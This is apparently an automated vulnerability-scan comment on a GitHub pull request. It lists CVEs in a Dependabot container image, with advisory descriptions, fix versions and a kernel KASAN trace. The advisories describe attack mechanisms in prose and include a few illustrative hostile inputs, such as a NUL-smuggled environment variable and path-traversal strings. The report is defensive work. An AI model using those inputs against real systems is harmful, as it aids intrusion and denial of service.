      • Image introduces no new vulnerability but removes 1
      • Major OS version update
      Image details:
      • Size: 30 MB
      • OS: 25.04
      		 3 months ago



      @github-actions
      Copy link

      github-actions bot commented Jan 16, 2026 •
      edited
      Loading

      Outdated

      🔍 Vulnerabilities of ghcr.io/dependabot/dependabot-updater-core:latest

      📦 Image Reference ghcr.io/dependabot/dependabot-updater-core:latest
      digestsha256:63ba4a2ff3467a98ac6c8610fece2cdc9893e2af6c18111e57618f8949749b82
      vulnerabilitiescritical: 4 high: 51 medium: 0 low: 0
      platformlinux/amd64
      size338 MB
      packages592
      📦 Base Image ubuntu:24.04
      also known as
      • latest
      • noble
      • noble-20251013
      digestsha256:4fdf0125919d24aec972544669dcd7d6a26a8ad7e6561c73d5549bd6db258ac2
      vulnerabilitiescritical: 0 high: 1 medium: 4 low: 4
      critical: 4 high: 37 medium: 0 low: 0 stdlib 1.18.3 (golang)

      pkg:golang/stdlib@1.18.3

      critical : CVE--2024--24790

      Affected range<1.21.11
      Fixed version1.21.11
      EPSS Score0.085%
      EPSS Percentile25th percentile
      Description

      The various Is methods (IsPrivate, IsLoopback, etc) did not work as expected for IPv4-mapped IPv6 addresses, returning false for addresses which would return true in their traditional IPv4 forms.

      critical : CVE--2023--24540

      Affected range<1.19.9
      Fixed version1.19.9
      EPSS Score0.243%
      EPSS Percentile47th percentile
      Description

      Not all valid JavaScript whitespace characters are considered to be whitespace. Templates containing whitespace characters outside of the character set "\t\n\f\r\u0020\u2028\u2029" in JavaScript contexts that also contain actions may not be properly sanitized during execution.

      critical : CVE--2023--24538

      Affected range<1.19.8
      Fixed version1.19.8
      EPSS Score0.646%
      EPSS Percentile70th percentile
      Description

      Templates do not properly consider backticks (`) as Javascript string delimiters, and do not escape them as expected.

      Backticks are used, since ES6, for JS template literals. If a template contains a Go template action within a Javascript template literal, the contents of the action can be used to terminate the literal, injecting arbitrary Javascript code into the Go template.

      As ES6 template literals are rather complex, and themselves can do string interpolation, the decision was made to simply disallow Go template actions from being used inside of them (e.g. "var a = {{.}}"), since there is no obviously safe way to allow this behavior. This takes the same approach as github.com/google/safehtml.

      With fix, Template.Parse returns an Error when it encounters templates like this, with an ErrorCode of value 12. This ErrorCode is currently unexported, but will be exported in the release of Go 1.21.

      Users who rely on the previous behavior can re-enable it using the GODEBUG flag jstmpllitinterp=1, with the caveat that backticks will now be escaped. This should be used with caution.

      critical : CVE--2025--22871

      Affected range<1.23.8
      Fixed version1.23.8
      EPSS Score0.043%
      EPSS Percentile13th percentile
      Description

      The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

      high : CVE--2023--29403

      Affected range<1.19.10
      Fixed version1.19.10
      EPSS Score0.009%
      EPSS Percentile1st percentile
      Description

      On Unix platforms, the Go runtime does not behave differently when a binary is run with the setuid/setgid bits. This can be dangerous in certain cases, such as when dumping memory state, or assuming the status of standard i/o file descriptors.

      If a setuid/setgid binary is executed with standard I/O file descriptors closed, opening any files can result in unexpected content being read or written with elevated privileges. Similarly, if a setuid/setgid program is terminated, either via panic or signal, it may leak the contents of its registers.

      high : CVE--2025--61729

      Affected range<1.24.11
      Fixed version1.24.11
      EPSS Score0.015%
      EPSS Percentile2nd percentile
      Description

      Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

      high : CVE--2025--61725

      Affected range<1.24.8
      Fixed version1.24.8
      EPSS Score0.031%
      EPSS Percentile8th percentile
      Description

      The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

      high : CVE--2025--61723

      Affected range<1.24.8
      Fixed version1.24.8
      EPSS Score0.031%
      EPSS Percentile8th percentile
      Description

      The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

      This affects programs which parse untrusted PEM inputs.

      high : CVE--2025--58188

      Affected range<1.24.8
      Fixed version1.24.8
      EPSS Score0.016%
      EPSS Percentile3rd percentile
      Description

      Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

      This affects programs which validate arbitrary certificate chains.

      high : CVE--2025--58187

      Affected range<1.24.9
      Fixed version1.24.9
      EPSS Score0.016%
      EPSS Percentile3rd percentile
      Description

      Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

      This affects programs which validate arbitrary certificate chains.

      high : CVE--2024--34158

      Affected range<1.22.7
      Fixed version1.22.7
      EPSS Score0.147%
      EPSS Percentile36th percentile
      Description

      Calling Parse on a "// +build" build tag line with deeply nested expressions can cause a panic due to stack exhaustion.

      high : CVE--2024--34156

      Affected range<1.22.7
      Fixed version1.22.7
      EPSS Score0.306%
      EPSS Percentile53rd percentile
      Description

      Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. This is a follow-up to CVE-2022-30635.

      high : CVE--2024--24791

      Affected range<1.21.12
      Fixed version1.21.12
      EPSS Score0.635%
      EPSS Percentile70th percentile
      Description

      The net/http HTTP/1.1 client mishandled the case where a server responds to a request with an "Expect: 100-continue" header with a non-informational (200 or higher) status. This mishandling could leave a client connection in an invalid state, where the next request sent on the connection will fail.

      An attacker sending a request to a net/http/httputil.ReverseProxy proxy can exploit this mishandling to cause a denial of service by sending "Expect: 100-continue" requests which elicit a non-informational response from the backend. Each such request leaves the proxy with an invalid connection, and causes one subsequent request using that connection to fail.

      high : CVE--2024--24784

      Affected range<1.21.8
      Fixed version1.21.8
      EPSS Score1.498%
      EPSS Percentile81st percentile
      Description

      The ParseAddressList function incorrectly handles comments (text within parentheses) within display names. Since this is a misalignment with conforming address parsers, it can result in different trust decisions being made by programs using different parsers.

      high : CVE--2023--45288

      Affected range<1.21.9
      Fixed version1.21.9
      EPSS Score66.635%
      EPSS Percentile98th percentile
      Description

      An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames.

      Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed.

      This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send.

      The fix sets a limit on the amount of excess header frames we will process before closing a connection.

      high : CVE--2023--45287

      Affected range<1.20.0
      Fixed version1.20.0
      EPSS Score0.185%
      EPSS Percentile40th percentile
      Description

      Before Go 1.20, the RSA based TLS key exchanges used the math/big library, which is not constant time. RSA blinding was applied to prevent timing attacks, but analysis shows this may not have been fully effective. In particular it appears as if the removal of PKCS#1 padding may leak timing information, which in turn could be used to recover session key bits.

      In Go 1.20, the crypto/tls library switched to a fully constant time RSA implementation, which we do not believe exhibits any timing side channels.

      high : CVE--2023--45283

      Affected range<1.20.11
      Fixed version1.20.11
      EPSS Score0.097%
      EPSS Percentile27th percentile
      Description

      The filepath package does not recognize paths with a ??\ prefix as special.

      On Windows, a path beginning with ??\ is a Root Local Device path equivalent to a path beginning with \?. Paths with a ??\ prefix may be used to access arbitrary locations on the system. For example, the path ??\c:\x is equivalent to the more common path c:\x.

      Before fix, Clean could convert a rooted path such as \a..??\b into the root local device path ??\b. Clean will now convert this to .??\b.

      Similarly, Join(, ??, b) could convert a seemingly innocent sequence of path elements into the root local device path ??\b. Join will now convert this to .??\b.

      In addition, with fix, IsAbs now correctly reports paths beginning with ??\ as absolute, and VolumeName correctly reports the ??\ prefix as a volume name.

      UPDATE: Go 1.20.11 and Go 1.21.4 inadvertently changed the definition of the volume name in Windows paths starting with ?, resulting in filepath.Clean(?\c:) returning ?\c: rather than ?\c:\ (among other effects). The previous behavior has been restored.

      high : CVE--2023--44487

      Affected range<1.20.10
      Fixed version1.20.10
      EPSS Score94.427%
      EPSS Percentile100th percentile
      Description

      A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

      With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

      This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

      The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

      high : CVE--2023--39325

      Affected range<1.20.10
      Fixed version1.20.10
      EPSS Score0.150%
      EPSS Percentile36th percentile
      Description

      A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

      With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

      This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

      The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

      high : CVE--2023--24537

      Affected range<1.19.8
      Fixed version1.19.8
      EPSS Score0.013%
      EPSS Percentile1st percentile
      Description

      Calling any of the Parse functions on Go source code which contains //line directives with very large line numbers can cause an infinite loop due to integer overflow.

      high : CVE--2023--24536

      Affected range<1.19.8
      Fixed version1.19.8
      EPSS Score0.066%
      EPSS Percentile21st percentile
      Description

      Multipart form parsing can consume large amounts of CPU and memory when processing form inputs containing very large numbers of parts.

      This stems from several causes:

      1. mime/multipart.Reader.ReadForm limits the total memory a parsed multipart form can consume. ReadForm can undercount the amount of memory consumed, leading it to accept larger inputs than intended.
      2. Limiting total memory does not account for increased pressure on the garbage collector from large numbers of small allocations in forms with many parts.
      3. ReadForm can allocate a large number of short-lived buffers, further increasing pressure on the garbage collector.

      The combination of these factors can permit an attacker to cause an program that parses multipart forms to consume large amounts of CPU and memory, potentially resulting in a denial of service. This affects programs that use mime/multipart.Reader.ReadForm, as well as form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

      With fix, ReadForm now does a better job of estimating the memory consumption of parsed forms, and performs many fewer short-lived allocations.

      In addition, the fixed mime/multipart.Reader imposes the following limits on the size of parsed forms:

      1. Forms parsed with ReadForm may contain no more than 1000 parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxparts=.
      2. Form parts parsed with NextPart and NextRawPart may contain no more than 10,000 header fields. In addition, forms parsed with ReadForm may contain no more than 10,000 header fields across all parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxheaders=.

      high : CVE--2023--24534

      Affected range<1.19.8
      Fixed version1.19.8
      EPSS Score0.045%
      EPSS Percentile14th percentile
      Description

      HTTP and MIME header parsing can allocate large amounts of memory, even when parsing small inputs, potentially leading to a denial of service.

      Certain unusual patterns of input data can cause the common function used to parse HTTP and MIME headers to allocate substantially more memory than required to hold the parsed headers. An attacker can exploit this behavior to cause an HTTP server to allocate large amounts of memory from a small request, potentially leading to memory exhaustion and a denial of service.

      With fix, header parsing now correctly allocates only the memory required to hold parsed headers.

      high : CVE--2022--41725

      Affected range<1.19.6
      Fixed version1.19.6
      EPSS Score0.055%
      EPSS Percentile17th percentile
      Description

      A denial of service is possible from excessive resource consumption in net/http and mime/multipart.

      Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

      ReadForm takes a maxMemory parameter, and is documented as storing "up to maxMemory bytes +10MB (reserved for non-file parts) in memory". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files.

      With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous.

      In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type's documentation states, "If stored on disk, the File's underlying concrete type will be an *os.File.". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct.

      Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader.

      high : CVE--2022--41724

      Affected range<1.19.6
      Fixed version1.19.6
      EPSS Score0.017%
      EPSS Percentile3rd percentile
      Description

      Large handshake records may cause panics in crypto/tls.

      Both clients and servers may send large TLS handshake records which cause servers and clients, respectively, to panic when attempting to construct responses.

      This affects all TLS 1.3 clients, TLS 1.2 clients which explicitly enable session resumption (by setting Config.ClientSessionCache to a non-nil value), and TLS 1.3 servers which request client certificates (by setting Config.ClientAuth >= RequestClientCert).

      high : CVE--2022--41723

      Affected range<1.19.6
      Fixed version1.19.6
      EPSS Score0.229%
      EPSS Percentile46th percentile
      Description

      A maliciously crafted HTTP/2 stream could cause excessive CPU consumption in the HPACK decoder, sufficient to cause a denial of service from a small number of small requests.

      high : CVE--2022--41722

      Affected range<1.19.6
      Fixed version1.19.6
      EPSS Score0.175%
      EPSS Percentile39th percentile
      Description

      A path traversal vulnerability exists in filepath.Clean on Windows.

      On Windows, the filepath.Clean function could transform an invalid path such as "a/../c:/b" into the valid path "c:\b". This transformation of a relative (if invalid) path into an absolute path could enable a directory traversal attack.

      After fix, the filepath.Clean function transforms this path into the relative (but still invalid) path ".\c:\b".

      high : CVE--2022--41720

      Affected range<1.18.9
      Fixed version1.18.9
      EPSS Score0.069%
      EPSS Percentile21st percentile
      Description

      On Windows, restricted files can be accessed via os.DirFS and http.Dir.

      The os.DirFS function and http.Dir type provide access to a tree of files rooted at a given directory. These functions permit access to Windows device files under that root. For example, os.DirFS("C:/tmp").Open("COM1") opens the COM1 device. Both os.DirFS and http.Dir only provide read-only filesystem access.

      In addition, on Windows, an os.DirFS for the directory (the root of the current drive) can permit a maliciously crafted path to escape from the drive and access any path on the system.

      With fix applied, the behavior of os.DirFS("") has changed. Previously, an empty root was treated equivalently to "/", so os.DirFS("").Open("tmp") would open the path "/tmp". This now returns an error.

      high : CVE--2022--41716

      Affected range<1.18.8
      Fixed version1.18.8
      EPSS Score0.022%
      EPSS Percentile5th percentile
      Description

      Due to unsanitized NUL values, attackers may be able to maliciously set environment variables on Windows.

      In syscall.StartProcess and os/exec.Cmd, invalid environment variable values containing NUL values are not properly checked for. A malicious environment variable value can exploit this behavior to set a value for a different environment variable. For example, the environment variable string "A=B\x00C=D" sets the variables "A=B" and "C=D".

      high : CVE--2022--41715

      Affected range<1.18.7
      Fixed version1.18.7
      EPSS Score0.016%
      EPSS Percentile3rd percentile
      Description

      Programs which compile regular expressions from untrusted sources may be vulnerable to memory exhaustion or denial of service.

      The parsed regexp representation is linear in the size of the input, but in some cases the constant factor can be as high as 40,000, making relatively small regexps consume much larger amounts of memory.

      After fix, each regexp being parsed is limited to a 256 MB memory footprint. Regular expressions whose representation would use more space than that are rejected. Normal use of regular expressions is unaffected.

      high : CVE--2022--32189

      Affected range>=1.18.0-0
      <1.18.5
      Fixed version1.18.5
      EPSS Score0.100%
      EPSS Percentile28th percentile
      Description

      Decoding big.Float and big.Rat types can panic if the encoded message is too short, potentially allowing a denial of service.

      high : CVE--2022--30635

      Affected range>=1.18.0-0
      <1.18.4
      Fixed version1.18.4
      EPSS Score0.087%
      EPSS Percentile25th percentile
      Description

      Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion.

      high : CVE--2022--30633

      Affected range>=1.18.0-0
      <1.18.4
      Fixed version1.18.4
      EPSS Score0.084%
      EPSS Percentile25th percentile
      Description

      Unmarshaling an XML document into a Go struct which has a nested field that uses the 'any' field tag can panic due to stack exhaustion.

      high : CVE--2022--30632

      Affected range>=1.18.0-0
      <1.18.4
      Fixed version1.18.4
      EPSS Score0.084%
      EPSS Percentile25th percentile
      Description

      Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

      high : CVE--2022--30631

      Affected range>=1.18.0-0
      <1.18.4
      Fixed version1.18.4
      EPSS Score0.041%
      EPSS Percentile12th percentile
      Description

      Calling Reader.Read on an archive containing a large number of concatenated 0-length compressed files can cause a panic due to stack exhaustion.

      high : CVE--2022--30630

      Affected range>=1.18.0-0
      <1.18.4
      Fixed version1.18.4
      EPSS Score0.034%
      EPSS Percentile10th percentile
      Description

      Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

      high : CVE--2022--2880

      Affected range<1.18.7
      Fixed version1.18.7
      EPSS Score0.031%
      EPSS Percentile9th percentile
      Description

      Requests forwarded by ReverseProxy include the raw query parameters from the inbound request, including unparsable parameters rejected by net/http. This could permit query parameter smuggling when a Go proxy forwards a parameter with an unparsable value.

      After fix, ReverseProxy sanitizes the query parameters in the forwarded query when the outbound request's Form field is set after the ReverseProxy. Director function returns, indicating that the proxy has parsed the query parameters. Proxies which do not parse query parameters continue to forward the original query parameters unchanged.

      high : CVE--2022--2879

      Affected range<1.18.7
      Fixed version1.18.7
      EPSS Score0.016%
      EPSS Percentile3rd percentile
      Description

      Reader.Read does not set a limit on the maximum size of file headers. A maliciously crafted archive could cause Read to allocate unbounded amounts of memory, potentially causing resource exhaustion or panics. After fix, Reader.Read limits the maximum size of header blocks to 1 MiB.

      high : CVE--2022--28131

      Affected range>=1.18.0-0
      <1.18.4
      Fixed version1.18.4
      EPSS Score0.013%
      EPSS Percentile2nd percentile
      Description

      Calling Decoder.Skip when parsing a deeply nested XML document can cause a panic due to stack exhaustion.

      high : CVE--2022--27664

      Affected range<1.18.6
      Fixed version1.18.6
      EPSS Score0.093%
      EPSS Percentile27th percentile
      Description

      HTTP/2 server connections can hang forever waiting for a clean shutdown that was preempted by a fatal error. This condition can be exploited by a malicious client to cause a denial of service.

      high : CVE--2023--29400

      Affected range<1.19.9
      Fixed version1.19.9
      EPSS Score0.048%
      EPSS Percentile15th percentile
      Description

      Templates containing actions in unquoted HTML attributes (e.g. "attr={{.}}") executed with empty input can result in output with unexpected results when parsed due to HTML normalization rules. This may allow injection of arbitrary attributes into tags.

      high : CVE--2023--24539

      Affected range<1.19.9
      Fixed version1.19.9
      EPSS Score0.065%
      EPSS Percentile21st percentile
      Description

      Angle brackets (<>) are not considered dangerous characters when inserted into CSS contexts. Templates containing multiple actions separated by a '/' character can result in unexpectedly closing the CSS context and allowing for injection of unexpected HTML, if executed with untrusted input.

      critical: 0 high: 5 medium: 0 low: 0 stdlib 1.24.4 (golang)

      pkg:golang/stdlib@1.24.4

      high : CVE--2025--61729

      Affected range<1.24.11
      Fixed version1.24.11
      EPSS Score0.015%
      EPSS Percentile2nd percentile
      Description

      Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

      high : CVE--2025--61725

      Affected range<1.24.8
      Fixed version1.24.8
      EPSS Score0.031%
      EPSS Percentile8th percentile
      Description

      The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

      high : CVE--2025--61723

      Affected range<1.24.8
      Fixed version1.24.8
      EPSS Score0.031%
      EPSS Percentile8th percentile
      Description

      The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

      This affects programs which parse untrusted PEM inputs.

      high : CVE--2025--58188

      Affected range<1.24.8
      Fixed version1.24.8
      EPSS Score0.016%
      EPSS Percentile3rd percentile
      Description

      Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

      This affects programs which validate arbitrary certificate chains.

      high : CVE--2025--58187

      Affected range<1.24.9
      Fixed version1.24.9
      EPSS Score0.016%
      EPSS Percentile3rd percentile
      Description

      Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

      This affects programs which validate arbitrary certificate chains.

      critical: 0 high: 3 medium: 0 low: 0 urllib3 2.0.7 (pypi)

      pkg:pypi/urllib3@2.0.7

      high 8.9: CVE--2026--21441 Improper Handling of Highly Compressed Data (Data Amplification)

      Affected range>=1.22
      <2.6.3
      Fixed version2.6.3
      CVSS Score8.9
      CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
      EPSS Score0.018%
      EPSS Percentile4th percentile
      Description

      Impact

      urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

      urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.

      However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).

      Affected usages

      Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preload_content=False when they do not disable redirects.

      Remediation

      Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preload_content=False.

      If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source.

      high 8.9: CVE--2025--66471 Improper Handling of Highly Compressed Data (Data Amplification)

      Affected range>=1.0
      <2.6.0
      Fixed version2.6.0
      CVSS Score8.9
      CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
      EPSS Score0.019%
      EPSS Percentile4th percentile
      Description

      Impact

      urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

      When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.

      The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.

      Affected usages

      Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.

      stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly.

      Remediation

      Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.

      If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3.

      Credits

      The issue was reported by @Cycloctane.
      Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.

      high 8.9: CVE--2025--66418 Allocation of Resources Without Limits or Throttling

      Affected range>=1.24
      <2.6.0
      Fixed version2.6.0
      CVSS Score8.9
      CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
      EPSS Score0.019%
      EPSS Percentile4th percentile
      Description

      Impact

      urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd).

      However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.

      Affected usages

      Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.

      Remediation

      Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.

      If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.

      critical: 0 high: 2 medium: 0 low: 0 cryptography 41.0.7 (pypi)

      pkg:pypi/cryptography@41.0.7

      high 8.7: CVE--2023--50782 Observable Discrepancy

      Affected range<42.0.0
      Fixed version42.0.0
      CVSS Score8.7
      CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
      EPSS Score0.707%
      EPSS Percentile72nd percentile
      Description

      A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.

      high 7.5: CVE--2024--26130 NULL Pointer Dereference

      Affected range>=38.0.0
      <42.0.4
      Fixed version42.0.4
      CVSS Score7.5
      CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
      EPSS Score0.341%
      EPSS Percentile56th percentile
      Description

      If pkcs12.serialize_key_and_certificates is called with both:

      1. A certificate whose public key did not match the provided private key
      2. An encryption_algorithm with hmac_hash set (via PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)

      Then a NULL pointer dereference would occur, crashing the Python process.

      This has been resolved, and now a ValueError is properly raised.

      Patched in pyca/cryptography#10423

      critical: 0 high: 1 medium: 0 low: 0 linux 6.8.0-87.88 (deb)

      pkg:deb/ubuntu/linux@6.8.0-87.88?os_distro=noble&os_name=ubuntu&os_version=24.04

      high 7.8: CVE--2025--38666

      Affected range<6.8.0-90.91
      Fixed version6.8.0-90.91
      CVSS Score7.8
      CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
      EPSS Score0.022%
      EPSS Percentile5th percentile
      Description

      In the Linux kernel, the following vulnerability has been resolved: net: appletalk: Fix use-after-free in AARP proxy probe The AARP proxy‐probe routine (aarp_proxy_probe_network) sends a probe, releases the aarp_lock, sleeps, then re-acquires the lock. During that window an expire timer thread (__aarp_expire_timer) can remove and kfree() the same entry, leading to a use-after-free. race condition: cpu 0 | cpu 1 atalk_sendmsg() | atif_proxy_probe_device() aarp_send_ddp() | aarp_proxy_probe_network() mod_timer() | lock(aarp_lock) // LOCK!! timeout around 200ms | alloc(aarp_entry) and then call | proxies[hash] = aarp_entry aarp_expire_timeout() | aarp_send_probe() | unlock(aarp_lock) // UNLOCK!! lock(aarp_lock) // LOCK!! | msleep(100); __aarp_expire_timer(&proxies[ct]) | free(aarp_entry) | unlock(aarp_lock) // UNLOCK!! | | lock(aarp_lock) // LOCK!! | UAF aarp_entry !! ================================================================== BUG: KASAN: slab-use-after-free in aarp_proxy_probe_network+0x560/0x630 net/appletalk/aarp.c:493 Read of size 4 at addr ffff8880123aa360 by task repro/13278 CPU: 3 UID: 0 PID: 13278 Comm: repro Not tainted 6.15.2 #3 PREEMPT(full) Call Trace: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x116/0x1b0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:408 [inline] print_report+0xc1/0x630 mm/kasan/report.c:521 kasan_report+0xca/0x100 mm/kasan/report.c:634 aarp_proxy_probe_network+0x560/0x630 net/appletalk/aarp.c:493 atif_proxy_probe_device net/appletalk/ddp.c:332 [inline] atif_ioctl+0xb58/0x16c0 net/appletalk/ddp.c:857 atalk_ioctl+0x198/0x2f0 net/appletalk/ddp.c:1818 sock_do_ioctl+0xdc/0x260 net/socket.c:1190 sock_ioctl+0x239/0x6a0 net/socket.c:1311 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:906 [inline] __se_sys_ioctl fs/ioctl.c:892 [inline] __x64_sys_ioctl+0x194/0x200 fs/ioctl.c:892 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xcb/0x250 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f Allocated: aarp_alloc net/appletalk/aarp.c:382 [inline] aarp_proxy_probe_network+0xd8/0x630 net/appletalk/aarp.c:468 atif_proxy_probe_device net/appletalk/ddp.c:332 [inline] atif_ioctl+0xb58/0x16c0 net/appletalk/ddp.c:857 atalk_ioctl+0x198/0x2f0 net/appletalk/ddp.c:1818 Freed: kfree+0x148/0x4d0 mm/slub.c:4841 __aarp_expire net/appletalk/aarp.c:90 [inline] __aarp_expire_timer net/appletalk/aarp.c:261 [inline] aarp_expire_timeout+0x480/0x6e0 net/appletalk/aarp.c:317 The buggy address belongs to the object at ffff8880123aa300 which belongs to the cache kmalloc-192 of size 192 The buggy address is located 96 bytes inside of freed 192-byte region [ffff8880123aa300, ffff8880123aa3c0) Memory state around the buggy address: ffff8880123aa200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ffff8880123aa280: 00 00 00 00 fc fc fc fc fc fc fc fc fc fc fc fc >ffff8880123aa300: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ^ ffff8880123aa380: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc ffff8880123aa400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 